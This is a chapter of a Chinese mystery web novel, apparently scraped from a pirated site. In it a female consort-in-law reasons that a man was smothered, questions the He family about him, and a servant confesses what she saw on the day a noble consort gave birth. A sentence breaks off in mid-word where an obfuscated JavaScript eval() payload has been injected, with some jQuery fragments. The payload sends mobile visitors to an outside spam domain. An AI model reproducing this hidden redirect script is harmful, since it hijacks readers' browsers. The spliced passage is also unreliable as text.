83. 追问

作品:《女驸马探案录

    等事情全部办完,已经到了散值的时刻。


    二人直接就回了府。


    一路上,颜清越都颇为沉默,没有说一个字。


    陆行心中生疑,等进来屋内才问道:“案子有问题?”


    “有。”


    “你刚刚为何不说?”


    “我怕打草惊蛇。”颜清越这才说出自己故意略过的事实,“死者的口鼻是歪斜的,明显是在死前口鼻被压迫过。就像是趴在哪个地方,鉴于他口鼻没有留下伤痕,那个地方应该十分柔软,比如……床。”


    “所以……这有什么问题?”


    “怎么没有问题呢?还有一个啊,胸痹这个毛病并没有那么容易致死,他胸痹的情况并不严重。肺萎靡了四成,按理说只需要卧床静养就能好,不会如此快就致死。”


    陆行也听明白了:“你是说,实际上造成夏大杨的死因是压迫口鼻加上胸痹共同作用导致的窒息死亡?”


    “是。他胸痹发作后没有及时得到救治就晕倒了,然后又被人翻过身,趴在枕头上,窒息死亡。”


    “杀人的会是任文秀吗?我有些怀疑。”


    颜清越也摸不准:“她不是说好要告诉你那个内情吗?”


    “嗯,那你呢?和我一起?”陆行不介意她知道这些事。


    “她那里可不保准,我还想去何家问一问,反正他们两家人距离不远,到时候我问完再来找你。”


    “你去何家问他们什么?”


    “我感觉吧……”颜清越摸着下巴,“何明理像是知道些什么。但是今日他因为你和任文秀的关系有所顾忌就没有开口。”


    “他和夏大杨看上去关系不错,在他那儿说不定能知道一些事情。”


    颜清越双手撑着脸:“哟,你还看得出来他们关系不错呀?”


    “那么厚的棺木,坟墓的风水也选的好,墓碑亦不便宜,还有绸缎做的寿衣。何明理和他关系不好,为何要这样为他操办后事?”陆行刮了刮她的鼻子,“都是和你学的,不对?”


    颜清越摸着不存在的胡子,学着老夫子的模样摇头晃脑。


    “陆学生学得很好。”


    紫云走了进来:“驸马,殿下。该用饭了。”


    今日的饭菜还是新鲜的时令小菜。


    凉拌胡瓜,小炒茄子,丝瓜汤,芥菜炒蚕豆,菱角排骨汤和南瓜粥……


    颜清越舀起一勺南瓜粥。


    又粉又糯又甜。


    “这个南瓜真好吃,蚕豆也特别嫩,胡瓜看着好水灵。”


    紫云将最后一盘白斩鸡摆上来。


    “都是殿下那边拿过来的,现摘现炒。”


    颜清越夸赞。


    “陆大哥种的菜都格外好吃。”


    紫云笑得都有些慈祥了。


    这位小驸马相处起来确实让人愉快,夸人从来都是大大方方的。


    “就你嘴甜。”陆行给她夹了一块鸡肉,“别光顾着吃菜。”


    “嗯嗯!”颜清越埋着头吃得十分香甜。


    紫云说道:“多余的已经送进宫里了,陛下和皇后殿下还有太子殿下那里一人一份。还有白将军府也送过了。”


    “好,师父爱吃糖,牙不好,记得多送些软烂入口的过去。”


    紫云目光闪闪:“婢子记着呢,送白将军府的多是南瓜和茄子。”


    陆行实在是很无语……


    自己师父都六十了,还被小娘子追捧?


    他摆摆手:“你先下去吧。”


    颜清越立着耳朵听完,问道:“陆大哥和白将军关系这么好?”


    她原来以为只是白将军教过他武艺而已。


    “那时候,我们这些家眷多是白将军看护,自然更亲近些。”


    颜清越感叹:“那你怎么和白将军的性子一点儿都不像啊。”


    “你还了解他了?”


    “当然!”颜清越也来了劲,“白将军谦逊宽厚,性子温润如玉,处事稳重……”


    陆行抬手打断:“你被紫云传染了?”


    颜清越拉住他的手:“你就说我说的对不对吧!”


    陆行弹了一下她的脑袋:“对。”


    他师父确实是个温润如玉的君子。


    颜清越摸着脑袋:“其实我更好奇,白将军有缺点吗?”


    陆行被问住了。


    论行兵打仗,师父是出了名的常胜将军,还掌过内政,打理得井井有条,算是文武双全。论品行,不好色只有一个妻子,不贪财,一直过得很简朴……


    他想了许久。


    “师母说他呆。”


    颜清越噗嗤笑出声。


    “你笑什么?”


    颜清越笑得眼睛弯弯。


    “你才呆呢,那是别人夫妻情话!我娘对我爹那样的狐狸都说他呆呢。”


    陆行脸有些烫。


    那她说自己呆,也是……夫妻情话?


    颜清越戳戳他的脸:“你这样也很呆。”


    陆行这才回过神,脸上的热度不减反增,烧得他脑子都有点迷糊。


    “你怎么了?”颜清越歪了歪头。


    “没事……没事……”陆行眼神闪躲开,手忙脚乱地拿起筷子。


    颜清越没有再说什么,眼里闪过一丝狡黠的笑意。


    第二日,陆行翻墙回了肃王府,刚出王府大门就被送上门的任文秀截住了。


    颜清越本来在外面等他,见状悄悄给他使了个眼色,示意自己先离开。


    陆行点点头,带着任文秀回府了。


    颜清越一人骑着马去了何家。


    何家的位置很好打听,走到坊门口,随便找个人一问就问到了何家的位置。


    还真是个大户。


    颜清越敲了敲眼前的大门。


    门很快就被打开。


    开门的仆人立即认出了她,激动得语无伦次。


    “您是那个……颜驸马?状元?”


    颜清越失笑:“正是,本官找你们阿郎和夫人有事。”


    仆人恭敬地带着她进去。


    “您请。”


    何家的大堂也是装横得十分华丽,黄花梨桌椅,彩绘描金的壁画,到处摆着成色上好的瓷器摆件。


    仆人沏茶:“小的已经让人去请郎君和夫人了,请您稍候。”


    他们也不奇怪颜清越的到来。


    自家主人被牵扯进了人命案的事情都知道。这位驸马跑来,定然是为了那人命案子。


    不过片刻,何家夫妇就走了出来。


    夫妻二人的衣裳还有些凌乱,显然是着急得很。


    “见过颜驸马。”何明理也来不及喘匀气,“颜驸马前来可是那案子有什么进展吗?”


    “你们先坐,我是有些事想要问你们。”


    夫妻二人对视一眼,缓缓坐下。


    “依我看,夏大杨与二位关系不错?”


    楚夫人愣了一下,旋即绽出一个笑:“驸马耳聪目明。”


    “也不瞒驸马。”何明理接着说道,“夏大郎这人是真的不错。我和我夫人还不认识的时候我就和他相识了,那次我去打猎跌下马,是他救了我。我后面给他谢礼他也非不要,还说要是真想谢他就让我有钱多做善事。”


    说到此处,他不禁红了眼。


    楚夫人握住他的手,对颜清越说道:“当年我和他的亲事没成也是另有他因。我不愿意说假话,那个时候我们确实算是情投意合。可是……他的母亲性子实在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852531|165310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是难以相处。我是家中独女,家母早丧,家父有几亩薄田,她竟然算计着要我家那几亩田!夏大郎知晓后,就狠心和我断了联系。”


    “既然如此,何郎君那日为何与他起了冲突?甚至还动了手?”


    何明理叹气:“这事还要从他家的情况说起……”


    夏大杨还有个弟弟,好吃懒做,家里全靠夏大杨一个人供养,这也就罢了,也是因为任文秀,这十里八乡没人敢和夏大杨议亲。何明理的脑筋活络,就想着找个法子让夏大杨去外地做事,慢慢就能摆脱他的父母。


    正巧!他听说他们家侍奉的何家最近包下了不少船,说是要做什么生意。


    何明理立即就去找了夏大杨和他说了此事。


    他的理由还是说得很好听,他去那儿做事能多赚些钱,不也是能孝顺爹娘。


    没想到,夏大杨还是拒绝了。


    哀其不幸怒其不争。


    何明理一气之下就打了他几拳。


    “我当时实在是生气!他总是这样执迷不悟。快三十了,还没有娶亲。被他爹娘这样拖累下去,这不是一辈子都搭进去了?”


    谁成想……


    那一次之后就是永别。


    楚夫人也泪水涟涟。


    “夏大郎很是可怜,才几岁就被家里人当大人使,他的爹娘对他还动辄打骂……一家人都好吃懒做,平日里连个衣裳都是他洗。而且花钱如流水,家里像个无底洞似的,一个月三十两银子都不够他们花。”


    颜清越心中更肯定了几分。


    “他那日受伤后你们可有去探望过?”


    “没有。”何明理懊悔得直拍大腿,“都怪我和他赌气!”


    楚夫人问道:“颜驸马,其实……夏大郎的死不是大夫造成的意外,对吧?”


    颜清越点头:“但是证据还不足。”


    她忽然想到了什么。


    “你们知道夏家怎么走吗?”


    肃王府。


    任文秀跪在陆行的面前。


    “民妇不敢欺瞒殿下,贵妃生产那日,民妇亲眼看见那个婢女形迹鬼祟,还换掉了给贵妃参汤。”


    陆行强压心中的震动。


    “当时你为何不说?”


    任文秀颤了颤。


    “民妇当时也没想那么多,后来我们离开王府的时候,民妇见那个婢女拿了极多的财物才有所觉……只是那时民妇早就没有法子再见到陛下了……所以这才……”


    陆行明白。


    这样大的秘密只会给自己招来杀身之祸。


    她不愿意多事也是常理。


    “那个女医叫什么名字?”


    “陈芫花。”


    “会写字吗?”


    任文秀自己从怀里掏出一张纸,双手举起。


    “贵妃在的时候宽和待下,对民妇有大恩。这么多年来,民妇一直没有办法报恩,心里一直难受着。来找殿下之前,民妇已经将自己所见之事写了出来。只求能早日找到凶手,让贵妃瞑目。”


    陆行起身将供词拿过,看了看。


    字是歪歪扭扭的,内容和她所说的相差无几,还按了手印。


    “好,东西本王就收下了,你先离开吧。”


    任文秀缓缓站起:“民妇告退。”


    书房内只剩下陆行一个人。


    他还是站在那里,捏着手里的供词,耳边隐隐约约响起轰鸣声,震得他头痛。


    “殿下。”丰茂轻轻敲了两下门。


    陆行吐出一口气。


    “何事?”


    “中书令请您过去一趟。”


    “可有说什么事?”


    “中书令说您要是不去,就让奴婢转告一个人名——任文秀。”